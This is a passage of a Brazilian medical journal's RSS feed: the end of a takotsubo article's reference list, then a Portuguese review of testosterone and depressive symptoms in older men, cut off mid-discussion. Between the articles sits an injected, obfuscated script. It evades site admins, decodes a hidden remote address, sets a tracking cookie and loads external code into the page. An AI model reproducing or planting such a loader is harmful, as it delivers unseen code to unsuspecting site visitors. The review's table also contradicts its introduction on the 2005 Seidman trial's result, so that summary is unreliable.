<p class="wp-block-paragraph">18. Yamaguchi T, Yoshikawa T, Isogai T, Miyamoto T, Maekawa Y, Ueda T, Sakata K, Murakami T, Yamamoto T, Nagao K, Takayama M. Predictive Value of QRS Duration at Admission for In-Hospital Clinical Outcome of Takotsubo Cardiomyopathy. Circ J. 2016 Dec 22;81(1):62-68. doi: 10.1253/circj.CJ-16-0912. Epub 2016 Dec 2. PMID: 27916778.</p>



<p class="wp-block-paragraph">19. Ghadri JR, Cammann VL, Jurisic S, Seifert B, Napp LC, Diekmann J, Bataiosu DR, D&#8217;Ascenzo F, Ding KJ, Sarcon A, Kazemian E, Birri T, Ruschitzka F, Lüscher TF, Templin C; InterTAK co-investigators. A novel clinical score (InterTAK Diagnostic Score) to differentiate takotsubo syndrome from acute coronary syndrome: results from the International Takotsubo Registry. Eur J Heart Fail. 2017 Aug;19(8):1036-1042. doi: 10.1002/ejhf.683. Epub 2016 Dec 7. PMID: 27928880.</p>



<p class="wp-block-paragraph">20. Pirlet C, Pierard L, Legrand V, Gach O. Ratio of high-sensitivity troponin to creatine kinase-MB in takotsubo syndrome. Int J Cardiol. 2017 Sep 15;243:300-305. doi: 10.1016/j.ijcard.2017.05.107. Epub 2017 Jun 3. PMID: 28595746.</p>



<p class="wp-block-paragraph">21. Omerovic E, James S, Erlinge D, Hagström H, Venetsanos D, Henareh L, Ekenbäck C, Alfredsson J, Hambreus K, Redfors B. Rationale and design of BROKEN-SWEDEHEART: a registry-based, randomized, parallel, open-label multicenter trial to test pharmacological treatments for broken heart (takotsubo) syndrome. Am Heart J. 2023 Mar;257:33-40. doi: 10.1016/j.ahj.2022.11.010. Epub 2022 Nov 23. PMID: 36435233.</p>



<p class="wp-block-paragraph">22. Cammann VL, Sarcon A, Szawan KA, Würdinger M, Azam S, Shinbane J, Seifert B, Ghadri JR, Saw J, Templin C. Clinical characteristics and outcomes of patients with takotsubo syndrome versus spontaneous coronary artery dissection. Cardiol J. 2023;30(1):125-130. doi: 10.5603/CJ.a2021.0065. Epub 2021 Jun 24. PMID: 34165180; PMCID: PMC9987537.</p>



<p class="wp-block-paragraph">23. Ekenbäck C, Persson J, Tornvall P, Forsberg L, Spaak J. Sympathetic nerve activity and response to physiological stress in Takotsubo syndrome. Clin Auton Res. 2025 Apr;35(2):205-214. doi: 10.1007/s10286-024-01082-9. Epub 2024 Nov 15. PMID: 39546154; PMCID: PMC12000160.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Médico. Residente em cardiologia. Universidade Federal do Tocantins. Palmas, Tocantins, Brasil.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>RELAÇÃO ENTRE NÍVEIS DE TESTOSTERONA E SINTOMAS DEPRESSIVOS EM HOMENS ACIMA DE 50 ANOS: UMA REVISÃO INTEGRATIVA</title>
		<link>https://revistaft.com.br/relacao-entre-niveis-de-testosterona-e-sintomas-depressivos-em-homens-acima-de-50-anos-uma-revisao-integrativa/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 16 Dec 2025 18:47:29 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=259844</guid>

					<description><![CDATA[RELATIONSHIP BETWEEN TESTOSTERONE LEVELS AND DEPRESSIVE SYMPTOMS IN MEN OVER 50 YEARS: AN INTEGRATIVE REVIEW REGISTRO DOI: 10.69849/revistaft/cl10202512161546 Galdino Toscano de Brito Neto1Maria Heloísa Soares Marques2Tercio de Oliveira Ramos3Elayne Cristina de Oliveira Ribeiro4Augusto José de Aragão5 Resumo&#160; Este estudo analisa as evidências científicas sobre a relação entre os níveis de testosterona (T) e a presença [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">RELATIONSHIP BETWEEN TESTOSTERONE LEVELS AND DEPRESSIVE SYMPTOMS IN MEN OVER 50 YEARS: AN INTEGRATIVE REVIEW</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512161546</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Galdino Toscano de Brito Neto<sup>1</sup><br>Maria Heloísa Soares Marques<sup>2</sup><br>Tercio de Oliveira Ramos<sup>3</sup><br>Elayne Cristina de Oliveira Ribeiro<sup>4</sup><br>Augusto José de Aragão<sup>5</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo&nbsp;</strong></p>



<p class="wp-block-paragraph">Este estudo analisa as evidências científicas sobre a relação entre os níveis de testosterona (T) e a presença de sintomas depressivos em homens a partir dos 50 anos, bem como a eficácia e segurança da Terapia de Reposição de Testosterona (TRT) como tratamento adjuvante ou primário. A pesquisa fundamenta-se em uma revisão integrativa da literatura com o objetivo de descrever a associação fisiopatológica entre o hipogonadismo e os sintomas depressivos e investigar os resultados clínicos da TRT nessa população selecionada. A metodologia empregou uma revisão integrativa, com a seleção final de 17 artigos científicos. Os resultados evidenciam que a prevalência de baixos níveis de testosterona está associada à gravidade dos sintomas depressivos. A TRT demonstrou ser eficaz na redução dos sintomas depressivos em homens hipogonadais a partir dos 50 anos, com taxas de melhora comparáveis ao uso de antidepressivos. No entanto, a análise reforça a importância crucial de uma avaliação diagnóstica rigorosa e individualizada que precede o início do tratamento. Conclui-se que a TRT pode ser uma estratégia terapêutica promissora, segura e eficaz, quando a indicação é guiada pela análise detalhada do histórico clínico, das comorbidades e do risco cardiovascular do paciente.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Testosterona. Sintomas Depressivos. Terapia de Reposição Hormonal. Homens a partir dos 50 anos. Envelhecimento.</p>



<p class="wp-block-paragraph"><strong>Abstract&nbsp;</strong></p>



<p class="wp-block-paragraph">This study analyzes the scientific evidence regarding the relationship between testosterone (T) levels and the presence of depressive symptoms in men aged 50 and older, as well as the efficacy and safety of Testosterone Replacement Therapy (TRT) as either an adjunctive or primary treatment. The research is based on an integrative literature review aimed at describing the pathophysiological association between hypogonadism and depressive symptoms and investigating the clinical outcomes of TRT in this selected population. The methodology employed an integrative review, with a final selection of 17 scientific articles. The results show that the prevalence of low testosterone levels is associated with the severity of depressive symptoms. TRT was shown to be effective in reducing depressive symptoms in hypogonadal men aged 50 and above, with improvement rates comparable to the use of antidepressants. However, the analysis emphasizes the crucial importance of a rigorous and individualized diagnostic assessment prior to treatment initiation. It is concluded that TRT can be a promising, safe, and effective therapeutic strategy when the indication is guided by a detailed analysis of the patient&#8217;s clinical history, comorbidities, and cardiovascular risk.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Testosterone; Depressive Symptoms; Hormone Replacement Therapy; Men Aged 50 and Older; Aging.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A testosterona transcende a função reprodutiva, sendo reconhecida como um esteroide sexual neuroativo que atua de forma significativa no sistema nervoso central, influenciando funções como humor e vitalidade no contexto do envelhecimento (SNYDER et al., 2016; BARONE et al., 2022). Sintomas depressivos constituem um desafio de saúde pública global, com o Transtorno Depressivo Maior (TDM) projetado para ser uma das principais causas de ônus de doenças (DWYER et al., 2020). Em homens a partir dos 50 anos, o declínio natural dos níveis de testosterona estabelece uma importante via de investigação sobre o risco de exacerbação desses sintomas, visto que alterações endócrinas podem impactar diretamente a qualidade de vida (KANEDA et al., 2002; KURITA et al., 2014).&nbsp;</p>



<p class="wp-block-paragraph">O elo entre a deficiência androgênica e a sintomatologia depressiva é sustentado por mecanismos neurobiológicos complexos, nos quais a testosterona modula neurotransmissores como serotonina e dopamina, facilitando a neuroplasticidade (WALTHER et al., 2019; DWYER et al., 2020). Estudos recentes, como o <em>TRAVERSE Trial</em>, indicam uma alta coocorrência de sintomas depressivos em homens hipogonádicos, justificando um rastreamento rigoroso (BHASIN et al., 2024). Essa associação é reforçada por evidências de que a testosterona biodisponível e o desequilíbrio na razão estradiol/testosterona são preditores fortes para a gravidade dos sintomas, sendo que estudos longitudinais confirmam que o hipogonadismo aumenta a incidência de diagnósticos de depressão ao longo do tempo (CHEN et al., 2020; MONTEAGUDO et al., 2015; SHORES et al., 2004).&nbsp;</p>



<p class="wp-block-paragraph">Diante dessa intersecção clínica, a Terapia de Reposição de Testosterona (TRT) surge como uma intervenção potencial, cuja viabilidade como tratamento para o humor tem sido investigada desde estudos seminais sobre terapia adjuvante em depressão refratária (SEIDMAN; RABKIN, 1998). Ensaios clínicos demonstram que a TRT é eficaz na redução de escores de depressão em populações específicas, como homens com depressão subclínica (distimia) ou comorbidades metabólicas, apresentando taxas de remissão superiores ao placebo (SHORES et al., 2009; GILTAY et al., 2010).&nbsp;</p>



<p class="wp-block-paragraph">Entretanto, a complexidade desta intervenção é evidenciada pela heterogeneidade dos resultados. Enquanto a eficácia é observada em quadros leves ou distímicos, ensaios clínicos randomizados focados especificamente em pacientes com Transtorno Depressivo Maior (TDM) resistente a inibidores seletivos da recaptação da serotonina não conseguiram demonstrar superioridade estatística da suplementação intramuscular de testosterona em comparação ao placebo (SEIDMAN; MIYAZAKI; ROOSE, 2005). Essa distinção é crucial para delimitar o escopo terapêutico da reposição hormonal nesse contexto.&nbsp;</p>



<p class="wp-block-paragraph">A relevância deste estudo reside, portanto, na necessidade de consolidar as evidências mais recentes para guiar a tomada de decisão clínica, determinando em quais cenários a TRT é uma opção segura e eficaz. Nesse sentido, o objetivo do presente trabalho foi analisar e sintetizar as evidências científicas sobre a relação entre os níveis de testosterona e sintomas depressivos em homens com 50 ou mais anos, discutindo a eficácia e segurança da terapia hormonal na abordagem desses sintomas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo trata-se de uma revisão integrativa da literatura, seguindo as seis etapas propostas para este tipo de metodologia por Mendes, Silveira e Galvão (2008). Quais sejam: elaboração da pergunta norteadora, busca ou amostragem na literatura, formação do banco de dados, avaliação dos estudos, discussão dos resultados e apresentação da revisão (MENDES, SILVEIRA E GALVÃO, 2008).&nbsp;</p>



<p class="wp-block-paragraph">A pergunta norteadora foi elaborada utilizando o acrônimo PICO (População: homens a partir dos 50 anos; Intervenção: Terapia de Reposição de Testosterona; Desfecho: Redução de sintomas depressivos), resultando na seguinte questão: “A Terapia de Reposição de Testosterona (TRT) é segura e eficaz para aliviar os sintomas depressivos em homens a partir dos 50 anos com baixos níveis séricos de testosterona?”.&nbsp;</p>



<p class="wp-block-paragraph">Foram considerados para inclusão artigos que abordassem a associação entre testosterona e sintomas depressivos, e/ou ensaios clínicos randomizados (RCTs) que investigassem a eficácia e segurança da TRT para homens com sintomas depressivos e hipogonadismo.&nbsp;</p>



<p class="wp-block-paragraph">A busca foi efetuada em bases de dados bibliográficas eletrônicas, incluindo PubMed/MEDLINE, Biblioteca Virtual em Saúde (BVS) e SciELO atribuindo alcance da bibliografia existente.&nbsp;</p>



<p class="wp-block-paragraph">Foram utilizados os seguintes Descritores em Ciências da Saúde (DeCS) e seus equivalentes no Medical Subject Headings (MeSH). Utilizou-se os descritores: “Testosterona” (Testosterone), “Sintomas depressivos” (Depressive Symptoms), “Terapia de Reposição Hormonal” (Hormone Replacement Therapy), “Hipogonadismo” (Hypogonadism) e “50 anos ou mais” (Aged 50 years or more). As combinações foram realizadas utilizando os operadores booleanos AND, OR e NOT.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.1</strong> <strong>Critérios de Elegibilidade e Seleção&nbsp;</strong></p>



<p class="wp-block-paragraph">Foram incluídos estudos originais cuja publicação ocorreu entre os anos de 1998 e 2024 integralmente disponíveis em português ou inglês. O foco da amostra foram artigos que abordavam a relação entre os níveis de testosterona e os sintomas depressivos, e/ou a eficácia da TRT como intervenção nestes sintomas, em homens a partir dos 50 anos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2</strong> <strong>Critérios de Inclusão e Exclusão&nbsp;</strong></p>



<p class="wp-block-paragraph">Como critérios de inclusão, centrou-se<strong> </strong>em Ensaios Clínicos Randomizados (RCTs), Estudos Observacionais, Estudos de Coorte (Prospectivos) e Estudos Transversais. Definição laboratorial de hipogonadismo (Testosterona Total ≤ 300ng/dL ou Testosterona Livre ≤ 6ng/dL), conforme estabelecido pelos principais ensaios clínicos sobre o tema.&nbsp;</p>



<p class="wp-block-paragraph">Para critérios de exclusão considerou-se estudos de caso, relatos de caso, editoriais e artigos que relatassem o uso de Testosterona com doses suprafisiológicas (uso abusivo), ou que incluíssem populações com câncer de próstata ou mama preexistentes (risco absoluto para a TRT). Foram excluídos também artigos com resumos indisponíveis ou não disponibilizados integralmente.&nbsp;</p>



<p class="wp-block-paragraph">A seleção dos artigos ocorreu em dois momentos. Primeiramente, foi realizada a leitura dos títulos e resumos. Na segunda fase, a leitura integral dos artigos foi executada para confirmar a adequação e elegibilidade. Posteriormente, as informações essenciais dos trabalhos escolhidos, tais como autores, ano de publicação, título, objetivos e conclusões, foram coletadas e compiladas em um quadro analítico. O processo de seleção resultou em 17 estudos que formaram o corpus de análise para esta revisão, conforme demonstrado na Seção de Resultados.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos dados foi realizada de forma qualitativa, por meio de leitura narrativa, com foco em: 1. determinar a correlação entre níveis séricos de testosterona e a ocorrência dos sintomas depressivos em homens a partir dos 50 anos; 2. avaliar a eficácia da TRT na melhora desses sintomas depressivos; 3. Identificar a segurança da TRT nesta população.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS E DISCUSSÕES&nbsp;</strong></p>



<p class="wp-block-paragraph">O processo de seleção dos artigos culminou em 24 estudos, dos quais foram excluídos 7, por conta da redundância e critérios de exclusão. Os 17 remanescentes forneceram as evidências para esta revisão. Os achados principais de cada estudo estão sintetizados na Tabela 1, a seguir.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1</strong> – Características dos estudos utilizados na revisão integrativa sobre a relação entre níveis de testosterona e sintomas depressivos em homens acima de 50 anos.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>AUTOR E ANO</strong>&nbsp;</td><td><strong>DESENHO DO ESTUDO&nbsp;</strong></td><td><strong>TÍTULO E OBJETIVO</strong>&nbsp;</td><td><strong>PRINCIPAIS RESULTADOS E CONCLUSÃO</strong>&nbsp;</td></tr><tr><td>ALMEIDA et al. (2008)&nbsp;</td><td>Estudo transversal&nbsp;</td><td><strong>Low free testosterone concentration as a&nbsp;potentially treatable cause of depressive symptoms in older men. </strong>Objetivo: Investigar se baixos níveis&nbsp;séricos de testosterona livre em homens mais velhos estão associados a sintomas de depressão e se essa relação é independente de morbidades físicas concomitantes.</td><td>A baixa testosterona livre (no quintil mais baixo) está fortemente associada à depressão em homens idosos, independentemente de outras doenças físicas. Os autores sugerem que essa pode ser uma causa tratável,&nbsp;defendendo a realização de ensaios clínicos randomizados para testar se a reposição de testosterona poderia melhorar o humor nesses homens.</td></tr></tbody></table></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>BERCEA et al. (2012)<strong>&nbsp;</strong></td><td>Estudo observacional (transversal).<strong>&nbsp;</strong></td><td><strong>Serum testosterone and depressive symptoms in severe OSA patients</strong>. Objetivo: investigar relação entre testosterona sérica e sintomas depressivos em pacientes com apneia obstrutiva do sono grave.<strong>&nbsp;</strong></td><td>Baixos níveis de testosterona foram associados a maiores sintomas depressivos em pacientes com apneia obstrutiva do sono (AOS) grave. Conclui que alterações hormonais podem estar relacionadas ao humor nesse grupo.<strong>&nbsp;</strong></td></tr><tr><td>BHASIN et al. (2024)<strong>&nbsp;</strong></td><td>Ensaio clínico randomizado (TRAVERSE&nbsp;Trial).<strong>&nbsp;</strong></td><td><strong>Depressive Syndromes in Men with Hypogonadism in the TRAVERSE Trial</strong>.&nbsp;Objetivo: avaliar impacto da reposição de testosterona em sintomas depressivos em homens com hipogonadismo.<strong>&nbsp;</strong></td><td>A terapia com testosterona reduziu sintomas depressivos em homens hipogonádicos. Conclui que a reposição hormonal pode beneficiar o humor nesse público.<strong>&nbsp;</strong></td></tr><tr><td>CHEN et al. (2020)<strong>&nbsp;</strong></td><td>Estudo transversal.<strong>&nbsp;</strong></td><td><strong>Bioavailable testosterone is associated with symptoms of depression in adult men</strong>. Objetivo: examinar associação&nbsp;entre testosterona biodisponível e sintomas depressivos.<strong>&nbsp;</strong></td><td>Baixa testosterona biodisponível foi associada a maiores sintomas depressivos. Conclui que testosterona pode ter papel na fisiopatologia da depressão masculina.<strong>&nbsp;</strong></td></tr><tr><td>GILTAY et al. (2010)<strong>&nbsp;</strong></td><td>Ensaio clínico randomizado.<strong>&nbsp;</strong></td><td><strong>Effects of testosterone supplementation on depressive symptoms and sexual dysfunction in hypogonadal men with metabolic syndrome</strong>.&nbsp;Objetivo: avaliar efeitos da suplementação de testosterona em sintomas depressivos e função sexual.<strong>&nbsp;</strong></td><td>Reposição reduziu sintomas depressivos e melhorou função sexual. Conclui que testosterona pode ser útil em homens hipogonádicos com síndrome metabólica.<strong>&nbsp;</strong></td></tr><tr><td>JOSHI et al. (2010)<strong>&nbsp;</strong></td><td>Coorte longitudinal.<strong>&nbsp;</strong></td><td><strong>Low free testosterone levels and depressive symptoms in older men</strong>. Objetivo:&nbsp;investigar associação entre testosterona livre e sintomas depressivos em idosos.<strong>&nbsp;</strong></td><td>Testosterona livre baixa associou-se à prevalência e incidência de sintomas depressivos. Conclui que hormônio é marcador relevante para saúde mental em idosos.<strong>&nbsp;</strong></td></tr><tr><td>KANEDA &amp; FUJII (2002)<strong>&nbsp;</strong></td><td>Estudo transversal.<strong>&nbsp;</strong></td><td><strong>No relationship between testosterone levels and depressive symptoms in aging men</strong>. Objetivo: avaliar&nbsp;se há relação entre testosterona e sintomas depressivos em homens idosos.<strong>&nbsp;</strong></td><td>Não encontrou relação significativa. Conclui que testosterona pode não estar associada à depressão nessa população.<strong>&nbsp;</strong></td></tr></tbody></table></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>KHOSLA S. et al (2001)&nbsp;</td><td>Estudo longitudinal de coorte&nbsp;</td><td><strong>Relationship of serum sex steroid levels to longitudinal changes in bone density in young versus elderly men. </strong>Avaliar as mudanças longitudinais da densidade mineral óssea em homens jovens e idosos e verificar sua relação com níveis séricos de estrogênios e testosterona.<strong>&nbsp;</strong></td><td>O estrogênio é determinante para o ganho de massa óssea em jovens e para a perda óssea em idosos, sendo que baixos níveis de estradiol biodisponível em homens mais velhos podem explicar grande parte dessa perda e indicar necessidade de medidas preventivas.&nbsp;</td></tr><tr><td>KURITA et al. (2014)<strong>&nbsp;</strong></td><td>Estudo transversal.<strong>&nbsp;</strong></td><td><strong>Low Testosterone Levels,&nbsp;</strong><strong>Depressive Symptoms, and Falls in Older Men</strong>. Objetivo:&nbsp;investigar relação entre testosterona, depressão e quedas.<strong>&nbsp;</strong></td><td>Baixa testosterona associada a maiores sintomas depressivos e risco de quedas. Conclui que hormônio pode influenciar humor e funcionalidade.<strong>&nbsp;</strong></td></tr><tr><td>MONTEAGUDO&nbsp;et al. (2015)<strong>&nbsp;</strong></td><td>Estudo transversal.<strong>&nbsp;</strong></td><td><strong>Imbalance of sex-hormones and depression in obese men</strong>. Objetivo: avaliar desequilíbrio hormonal e sintomas depressivos em homens obesos.<strong>&nbsp;</strong></td><td>Homens deprimidos apresentaram menor testosterona e maior estradiol. Conclui que desequilíbrio hormonal pode contribuir para depressão em obesos.<strong>&nbsp;</strong></td></tr><tr><td>POPE JUNIOR et&nbsp;al (2003)&nbsp;</td><td>Ensaio clínico randomizado, duplo-cego, placebo controlado.&nbsp;</td><td><strong>Testosterone gel supplementation for men with refractory depression: a randomized, placebo controlled trial.</strong> Objetivo: Verificar se a suplementação de testosterona via gel transdérmico tem efeito antidepressivo em homens com depressão resistente e níveis baixos ou limítrofes de testosterona.<strong>&nbsp;</strong></td><td>Achados preliminares sugerem que o gel de testosterona pode ter efeitos antidepressivos em homens deprimidos com baixos níveis de testosterona, representando um subgrupo possivelmente sub-reconhecido.&nbsp;</td></tr><tr><td>SEIDMAN,&nbsp;MIYAZAKI &amp;&nbsp;ROOSE (2005)<strong>&nbsp;</strong></td><td>Ensaio clínico randomizado duplo-cego.<strong>&nbsp;</strong></td><td><strong>Intramuscular testosterone supplementation to SSRI in treatment-resistant depressed men</strong>. Objetivo: testar testosterona como adjuvante ao ISRS em depressão resistente.<strong>&nbsp;</strong></td><td>Testosterona reduziu sintomas depressivos em homens resistentes ao ISRS. Conclui que terapia combinada pode ser eficaz.<strong>&nbsp;</strong></td></tr><tr><td>SEIDMAN &amp; RABKIN (1998)<strong>&nbsp;</strong></td><td>Estudo clínico aberto.<strong>&nbsp;</strong></td><td><strong>Testosterone replacement therapy for hypogonadal men with SSRI-refractory depression</strong>. Objetivo: avaliar reposição de testosterona em homens hipogonádicos com depressão refratária.<strong>&nbsp;</strong></td><td>Houve melhora significativa dos sintomas depressivos. Conclui que reposição é alternativa terapêutica válida.<strong>&nbsp;</strong></td></tr><tr><td>SHORES et al. (2009)<strong>&nbsp;</strong></td><td>Ensaio clínico randomizado duplo-cego.<strong>&nbsp;</strong></td><td><strong>Testosterone treatment in hypogonadal older men with subthreshold depression</strong>. Objetivo: testar testosterona&nbsp;em homens idosos com depressão subclínica.<strong>&nbsp;</strong></td><td>Redução moderada dos sintomas depressivos. Conclui que pode beneficiar depressão leve em hipogonádicos.<strong>&nbsp;</strong></td></tr><tr><td>SHORES et al. (2004)<strong>&nbsp;</strong></td><td>Coorte retrospectiva.<strong>&nbsp;</strong></td><td><strong>Increased incidence of diagnosed depressive illness in hypogonadal older men</strong>.&nbsp;Objetivo: avaliar incidência de&nbsp;depressão em homens hipogonádicos.<strong>&nbsp;</strong></td><td>Homens hipogonádicos apresentaram maior incidência de depressão.&nbsp;Conclui que hipogonadismo é fator de risco.<strong>&nbsp;</strong></td></tr><tr><td>SNYDER et al. (2016)&nbsp;</td><td>Ensaio clínico randomizado (Testosterone Trials).<strong>&nbsp;</strong></td><td><strong>Effects of Testosterone Treatment in Older Men</strong>. Objetivo: avaliar efeitos da testosterona em vários desfechos, incluindo humor.<strong>&nbsp;</strong></td><td>Tratamento melhorou humor e vitalidade em parte dos participantes. Conclui que testosterona tem efeitos positivos moderados em idosos com deficiência hormonal.<strong>&nbsp;</strong></td></tr><tr><td>WANG et al. (2004)&nbsp;</td><td>Estudo clínico de coorte longitudinal&nbsp;</td><td><strong>Long-Term Testosterone Gel&nbsp;</strong><strong>(AndroGel) Treatment Maintains Beneficial Effects on Sexual Function and Mood, Lean and Fat Mass, and Bone Mineral Density in Hypogonadal Men. </strong>Objetivo: Avaliar os efeitos a longo prazo do uso diário de gel de testosterona em homens hipogonadais sobre função sexual, humor, composição corporal (massa magra e gordura) e densidade mineral óssea.&nbsp;</td><td>O uso contínuo de AndroGel teve efeitos benéficos semelhantes aos de aplicações injetáveis ou outras formas transdérmicas (melhora sexual, humor, composição corporal e densidade óssea), mas é essencial monitorar para risco prostático e eritrocitose durante o tratamento.&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Elaborado pelos autores a partir de dados dos estudos selecionados (2025).&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.1</strong> <strong>A Relação Causal entre Baixa Testosterona e Sintomas Depressivos&nbsp;</strong></p>



<p class="wp-block-paragraph">Estudos de coorte em populações idosas confirmam que baixos níveis séricos de testosterona estão associados à maior prevalência de sintomas depressivos (ALMEIDA et al., 2008). Além da depressão, o hipogonadismo tem um impacto sistêmico, sendo também correlacionado com condições clínicas crônicas do envelhecimento, como o aumento do risco de osteoporose (KHOSLA et al., 2001). Esta evidência reforça a importância de considerar a deficiência androgênica como um fator de risco multidimensional, necessitando de uma abordagem terapêutica que considere a interconexão entre saúde hormonal, mental e musculoesquelética (ALMEIDA et al., 2008; KHOSLA et al., 2001).&nbsp;</p>



<p class="wp-block-paragraph">A investigação da relação entre baixos níveis de testosterona e a sintomatologia depressiva em homens com idade a partir dos 50 anos demonstra uma associação inversa frequente na literatura científica (BHASIN et al., 2024; KURITA et al., 2014). Contudo, a evidência sobre essa correlação não é universalmente homogênea, com alguns estudos iniciais não encontrando uma relação significativa entre a Testosterona Total (TT) sérica e os escores de depressão em amostras com baixa prevalência de sintomas graves (KANEDA et al., 2002).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Essa inconsistência é significativamente mitigada pela constatação de que a correlação mais robusta e clinicamente relevante ocorre com a Testosterona Livre ou Bioativa, e não com a TT (CHEN et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">O foco na testosterona livre mostra que este é o preditor mais significativo da sintomatologia, um achado reforçado por Joshi e colaboradores (2010). Em uma análise prospectiva e longitudinal que abrangeu 10 anos, ajustada para fatores médicos e de estilo de vida, demonstraram que níveis baixos de Testosterona Livre não só se associam à prevalência, mas também predizem o risco de desenvolver novos episódios depressivos.&nbsp;</p>



<p class="wp-block-paragraph">Joshi e colaboradores (2010) especificam que homens com níveis de Testosterona Livre abaixo de 220 pmol/l (o quintil mais baixo da amostra) tinham quase o dobro do risco de desenvolver sintomas depressivos incidentes. Essa evidência prospectiva, supera as limitações inerentes aos estudos puramente transversais e fornece um forte apoio à hipótese de que a deficiência de testosterona livre é um fator de risco causal no desenvolvimento de distúrbios de humor.&nbsp;</p>



<p class="wp-block-paragraph">A natureza prospectiva desta associação é um ponto central da investigação (JOSHI et al., 2010). Em um estudo de coorte seminal, Shores et al. (2004) acompanharam homens idosos e descobriram que aqueles com hipogonadismo (baixos níveis de testosterona) apresentavam uma incidência significativamente aumentada de desenvolver um novo diagnóstico de doença depressiva. Esta descoberta (SHORES et al., 2004) fortalece a hipótese de que a baixa testosterona não é apenas um marcador concomitante, mas um fator de risco temporal que precede o desenvolvimento da depressão.&nbsp;</p>



<p class="wp-block-paragraph">A complexidade da relação é ainda influenciada por comorbidades, como a obesidade, onde o desequilíbrio entre o Estradiol e a Testosterona (razão E2/T) demonstra uma associação mais forte com a gravidade dos sintomas depressivos do que os níveis isolados de T (MONTEAGUDO et al., 2015).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Similarmente, em pacientes com apneia obstrutiva do sono severa, os níveis de testosterona sérica se correlacionam com os sintomas depressivos, indicando que a deficiência hormonal pode ser um mediador em quadros clínicos complexos (BERCEA et al., 2012). Do ponto de vista clínico, a baixa testosterona e os sintomas depressivos também se associam a outros desfechos negativos importantes no envelhecimento, como o risco aumentado de quedas em homens idosos (KURITA et al., 2014).&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2</strong> <strong>Eficácia da Terapia de Reposição de Testosterona (TRT) como antidepressivo&nbsp;</strong></p>



<p class="wp-block-paragraph">A investigação sobre a eficácia da TRT como tratamento antidepressivo sugere um papel modulador do hormônio em esferas emocionais e comportamentais (POPE JR. et al., 2003). Em ensaios clínicos, a reposição hormonal demonstrou ser capaz de melhorar o humor e reduzir os níveis de ansiedade em homens com baixos níveis de testosterona. É relevante notar que o tratamento com testosterona não demonstrou estar associado a um aumento significativo da agressão ou hostilidade, um achado que aborda uma preocupação comum e apoia a viabilidade da TRT para a modulação de sintomas neuropsiquiátricos (POPE JR. et al., 2003).&nbsp;</p>



<p class="wp-block-paragraph">A questão central da eficácia da TRT para o tratamento de sintomas depressivos foi abordada por múltiplos estudos, dentre os quais grandes ensaios clínicos randomizados (RCTs) (WALTHER et al., 2019).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Um estudo de ensaios clínicos randomizados (RCTs) sugere que a TRT está associada a uma redução significativa nos sintomas depressivos em homens hipogonádicos (WALTHER et al., 2019).&nbsp;&nbsp;</p>



